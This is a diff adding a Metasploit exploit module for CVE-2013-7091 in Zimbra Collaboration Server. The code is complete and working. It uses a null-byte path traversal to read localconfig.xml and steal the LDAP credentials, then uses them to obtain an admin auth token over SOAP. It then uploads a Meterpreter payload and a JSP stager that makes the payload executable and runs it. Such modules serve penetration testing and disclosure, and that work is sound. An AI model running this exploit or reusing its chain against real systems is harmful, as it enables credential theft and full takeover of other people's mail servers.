|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | +require 'rexml/document' |
| 8 | + |
| 9 | +class Metasploit3 < Msf::Exploit::Remote |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + include Msf::Exploit::EXE |
| 13 | + include Msf::Exploit::FileDropper |
| 14 | + include REXML |
| 15 | + |
| 16 | + Rank = ExcellentRanking |
| 17 | + |
| 18 | + def initialize(info = {}) |
| 19 | + super(update_info(info, |
| 20 | + 'Name' => 'Zimbra Collaboration Server LFI', |
| 21 | + 'Description' => %q{ |
| 22 | + This module exploits a local file inclusion on Zimbra 8.0.2 and 7.2.2. The vulnerability |
| 23 | + allows an attacker to get the LDAP credentials from the localconfig.xml file. The stolen |
| 24 | + credentials allow the attacker to make requests to the service/admin/soap API. This can |
| 25 | + then be used to create an authentication token for the admin web interface. This access |
| 26 | + can be used to achieve remote code execution. This module has been tested on Zimbra |
| 27 | + Collaboration Server 8.0.2 with Ubuntu Server 12.04. |
| 28 | + }, |
| 29 | + 'Author' => |
| 30 | + [ |
| 31 | + 'rubina119', # Vulnerability discovery |
| 32 | + 'Mekanismen <mattias[at]gotroot.eu>' # Metasploit module |
| 33 | + ], |
| 34 | + 'License' => MSF_LICENSE, |
| 35 | + 'References' => |
| 36 | + [ |
| 37 | + [ 'CVE', '2013-7091' ], |
| 38 | + [ 'OSVDB', '100747' ], |
| 39 | + [ 'BID', '64149' ], |
| 40 | + [ 'EDB', '30085' ], |
| 41 | + [ 'URL', 'http://cxsecurity.com/issue/WLB-2013120097' ] |
| 42 | + ], |
| 43 | + 'Privileged' => false, |
| 44 | + 'Platform' => ['linux'], |
| 45 | + 'Targets' => |
| 46 | + [ |
| 47 | + [ 'Zimbra 8.0.2 / Linux', |
| 48 | + { |
| 49 | + 'Arch' => ARCH_X86, |
| 50 | + 'Platform' => 'linux' |
| 51 | + } |
| 52 | + ], |
| 53 | + ], |
| 54 | + 'DefaultOptions' => |
| 55 | + { |
| 56 | + 'SSL' => true |
| 57 | + }, |
| 58 | + 'DefaultTarget' => 0, |
| 59 | + 'DisclosureDate' => "Dec 06 2013" |
| 60 | + )) |
| 61 | + register_options( |
| 62 | + [ |
| 63 | + Opt::RPORT(7071), |
| 64 | + OptString.new('TARGETURI', [true, 'Path to zimbraAdmin web application', '/zimbraAdmin']), |
| 65 | + OptInt.new('DEPTH', [true, 'Traversal depth until to reach the root path', 9]), |
| 66 | + OptString.new('ZIMBRADIR', [true, 'Zimbra installation path on the target filesystem (/opt/zimbra by default)', '/opt/zimbra']) |
| 67 | + ]) |
| 68 | + end |
| 69 | + |
| 70 | + def check |
| 71 | + res = send_traversal_query(traversal_path("conf/localconfig.xml")) |
| 72 | + |
| 73 | + unless res and res.code == 200 |
| 74 | + return Exploit::CheckCode::Safe |
| 75 | + end |
| 76 | + |
| 77 | + #this response is ~100% gzipped |
| 78 | + begin |
| 79 | + text = Rex::Text.ungzip(res.body) |
| 80 | + rescue Zlib::GzipFile::Error |
| 81 | + text = res.body |
| 82 | + end |
| 83 | + |
| 84 | + if text =~ /name=\\"zimbra_user\\">";\sa\["<value>(.*)<\/value>/ |
| 85 | + return Exploit::CheckCode::Appears |
| 86 | + else |
| 87 | + return Exploit::CheckCode::Safe |
| 88 | + end |
| 89 | + end |
| 90 | + |
| 91 | + def exploit |
| 92 | + print_status("#{peer} - Getting login credentials...") |
| 93 | + res = send_traversal_query(traversal_path("conf/localconfig.xml")) |
| 94 | + |
| 95 | + unless res and res.code == 200 |
| 96 | + fail_with(Failure::Unknown, "#{peer} - Unable to access vulnerable URL") |
| 97 | + end |
| 98 | + |
| 99 | + #this response is ~100% gzipped |
| 100 | + begin |
| 101 | + text = Rex::Text.ungzip(res.body) |
| 102 | + rescue Zlib::GzipFile::Error |
| 103 | + text = res.body.to_s |
| 104 | + end |
| 105 | + |
| 106 | + if text =~ /name=\\"zimbra_user\\">";\sa\["<value>(.*)<\/value>/ |
| 107 | + zimbra_user = $1 |
| 108 | + else |
| 109 | + fail_with(Failure::Unknown, "#{peer} - Unable to get login credentials") |
| 110 | + end |
| 111 | + |
| 112 | + if text =~ /name=\\"zimbra_ldap_password\\">";\sa\["<value>(.*)<\/value>/ |
| 113 | + zimbra_pass = $1 |
| 114 | + else |
| 115 | + fail_with(Failure::Unknown, "#{peer} - Unable to get login credentials") |
| 116 | + end |
| 117 | + |
| 118 | + print_good("#{peer} - Got login credentials!") |
| 119 | + print_status("#{peer} - Getting auth token...") |
| 120 | + |
| 121 | + soap_req = build_soap_req(zimbra_user, zimbra_pass) #lets get our hands foamy |
| 122 | + |
| 123 | + res = send_request_cgi({ |
| 124 | + 'uri' => normalize_uri("service", "admin", "soap"), |
| 125 | + 'method' => 'POST', |
| 126 | + 'ctype' => 'application/soap+xml; charset="utf-8"', |
| 127 | + 'headers' => |
| 128 | + { |
| 129 | + 'SOAPAction' => '"urn:zimbraAdmin#AuthRequest"', |
| 130 | + }, |
| 131 | + 'data' => soap_req |
| 132 | + }) |
| 133 | + |
| 134 | + unless res and res.code == 200 |
| 135 | + fail_with(Failure::Unknown, "#{peer} - Unable to access service URL") |
| 136 | + end |
| 137 | + |
| 138 | + if res.body.to_s =~ /<authToken>(.*)<\/authToken>/ |
| 139 | + auth_token = $1 |
| 140 | + else |
| 141 | + fail_with(Failure::Unknown, "#{peer} - Unable to get auth token") |
| 142 | + end |
| 143 | + |
| 144 | + @cookie = "ZM_ADMIN_AUTH_TOKEN=#{auth_token}" |
| 145 | + print_good("#{peer} - Got auth token!") |
| 146 | + |
| 147 | + #the initial POC for this vuln shows user creation with admin rights for the web interface, thats cool but a shell is even cooler |
| 148 | + #the web interface has a function to upload the latest version of the desktop client via /service/extension/clientUploader/upload/ |
| 149 | + #the intent is for a ZCO file, whatever that is. However any file will do and it's placed in /downloads/ which we can reach, how handy! |
| 150 | + |
| 151 | + #push our meterpreter and then a stager jsp file that sets correct permissions, executes the meterpreter and removes itself afterwards |
| 152 | + payload_name = rand_text_alpha(8+rand(8)) |
| 153 | + stager_name = rand_text_alpha(8+rand(8)) + ".jsp" |
| 154 | + |
| 155 | + stager = gen_stager(payload_name) |
| 156 | + payload_elf = generate_payload_exe |
| 157 | + |
| 158 | + #upload payload |
| 159 | + print_status("#{peer} - Uploading payload") |
| 160 | + res = upload_file(payload_name, payload_elf) |
| 161 | + |
| 162 | + unless res and res.code == 200 |
| 163 | + fail_with(Failure::Unknown, "#{peer} - Unable to get upload payload") |
| 164 | + end |
| 165 | + |
| 166 | + #upload jsp stager |
| 167 | + print_status("#{peer} - Uploading jsp stager") |
| 168 | + res = upload_file(stager_name, stager) |
| 169 | + |
| 170 | + unless res and res.code == 200 |
| 171 | + fail_with(Failure::Unknown, "#{peer} - Unable to upload stager") |
| 172 | + end |
| 173 | + |
| 174 | + register_files_for_cleanup( |
| 175 | + "../jetty/webapps/zimbra/downloads/#{stager_name}", |
| 176 | + "../jetty/webapps/zimbra/downloads/#{payload_name}" |
| 177 | + ) |
| 178 | + |
| 179 | + print_status("#{peer} - Executing payload on /downloads/#{stager_name}") |
| 180 | + |
| 181 | + res = send_request_cgi({ |
| 182 | + 'uri' => normalize_uri("downloads", stager_name), |
| 183 | + 'method' => 'GET', |
| 184 | + }) |
| 185 | + end |
| 186 | + |
| 187 | + def traversal_path(file_name) |
| 188 | + ::File.join( |
| 189 | + "../" * datastore['DEPTH'], |
| 190 | + datastore['ZIMBRADIR'], |
| 191 | + file_name |
| 192 | + ) |
| 193 | + end |
| 194 | + |
| 195 | + def send_traversal_query(traversal) |
| 196 | + res = send_request_cgi({ |
| 197 | + 'uri' => normalize_uri(target_uri.path, "res", "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz"), |
| 198 | + 'method' => 'GET', |
| 199 | + 'encode_params' => false, |
| 200 | + 'vars_get' => { |
| 201 | + 'v' => "091214175450", |
| 202 | + 'skin' => "#{traversal}%00" |
| 203 | + } |
| 204 | + }) |
| 205 | + |
| 206 | + return res |
| 207 | + end |
| 208 | + |
| 209 | + def upload_file(file_name, data) |
| 210 | + req_id = rand_text_numeric(2).to_s |
| 211 | + |
| 212 | + post_data = Rex::MIME::Message.new |
| 213 | + post_data.add_part("#{file_name}", nil, nil, "form-data; name=\"filename1\"") |
| 214 | + post_data.add_part("#{data}", "application/octet-stream", nil, "form-data; name=\"clientFile\"; filename=\"#{file_name}\"") |
| 215 | + post_data.add_part("#{req_id}", nil, nil, "form-data; name=\"requestId\"") |
| 216 | + |
| 217 | + n_data = post_data.to_s |
| 218 | + n_data = n_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_') |
| 219 | + |
| 220 | + res = send_request_cgi({ |
| 221 | + 'uri' => normalize_uri("service", "extension", "clientUploader", "upload"), |
| 222 | + 'method' => 'POST', |
| 223 | + 'ctype' => 'multipart/form-data; boundary=' + post_data.bound, |
| 224 | + 'data' => n_data, |
| 225 | + 'cookie' => @cookie |
| 226 | + }) |
| 227 | + |
| 228 | + return res |
| 229 | + end |
| 230 | + |
| 231 | + def build_soap_req(zimbra_user, zimbra_pass) |
| 232 | + xml = Document.new |
| 233 | + soap_var = "ns1:AuthRequest" |
| 234 | + |
| 235 | + xml.add_element( |
| 236 | + "soapenv:Envelope", |
| 237 | + { |
| 238 | + 'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance", |
| 239 | + 'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema", |
| 240 | + 'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/", |
| 241 | + 'xmlns:ser' => "http://service.emulation.ws.mercury.com", |
| 242 | + 'xmlns:env' => "http://www.w3.org/2003/05/soap-envelope", |
| 243 | + 'xmlns:ns1' => "urn:zimbraAdmin", |
| 244 | + 'xmlns:ns2' => "urn:zimbraAdmin", |
| 245 | + }) |
| 246 | + |
| 247 | + xml.root.add_element("soapenv:Header") |
| 248 | + xml.root.add_element("soapenv:Body") |
| 249 | + |
| 250 | + header = xml.root.elements[1] |
| 251 | + body = xml.root.elements[2] |
| 252 | + |
| 253 | + header.add_element("ns2:context") |
| 254 | + body.add_element("ns1:AuthRequest") |
| 255 | + |
| 256 | + ns1 = body.elements[1] |
| 257 | + ns1.add_element( |
| 258 | + "account", |
| 259 | + { |
| 260 | + 'by' => "name" |
| 261 | + }) |
| 262 | + |
| 263 | + ns1.add_element("password") |
| 264 | + |
| 265 | + ns1.elements["account"].text = "#{zimbra_user}" |
| 266 | + ns1.elements["password"].text = "#{zimbra_pass}" |
| 267 | + |
| 268 | + return xml.to_s |
| 269 | + end |
| 270 | + |
| 271 | + def gen_stager(payload_name) |
| 272 | + stager = "<%@ page import=\"java.util.*,java.io.*\"%>" |
| 273 | + stager += " <%" |
| 274 | + stager += " String uri = request.getRequestURI();" |
| 275 | + stager += " String filename = uri.substring(uri.lastIndexOf(\"/\")+1);" |
| 276 | + stager += " String jspfile = new java.io.File(application.getRealPath(request.getRequestURI())).getParent() + \"/\" + filename;" |
| 277 | + stager += " String payload = new java.io.File(application.getRealPath(request.getRequestURI())).getParent() + \"/#{payload_name}\";" |
| 278 | + stager += " Process p = Runtime.getRuntime().exec(\"chmod 700 \" + payload);" |
| 279 | + stager += " p.waitFor();" |
| 280 | + stager += " p = Runtime.getRuntime().exec(\"bash -c '\" + payload + \"'\");" |
| 281 | + stager += "%>" |
| 282 | + |
| 283 | + return stager |
| 284 | + end |
| 285 | +end |
0 commit comments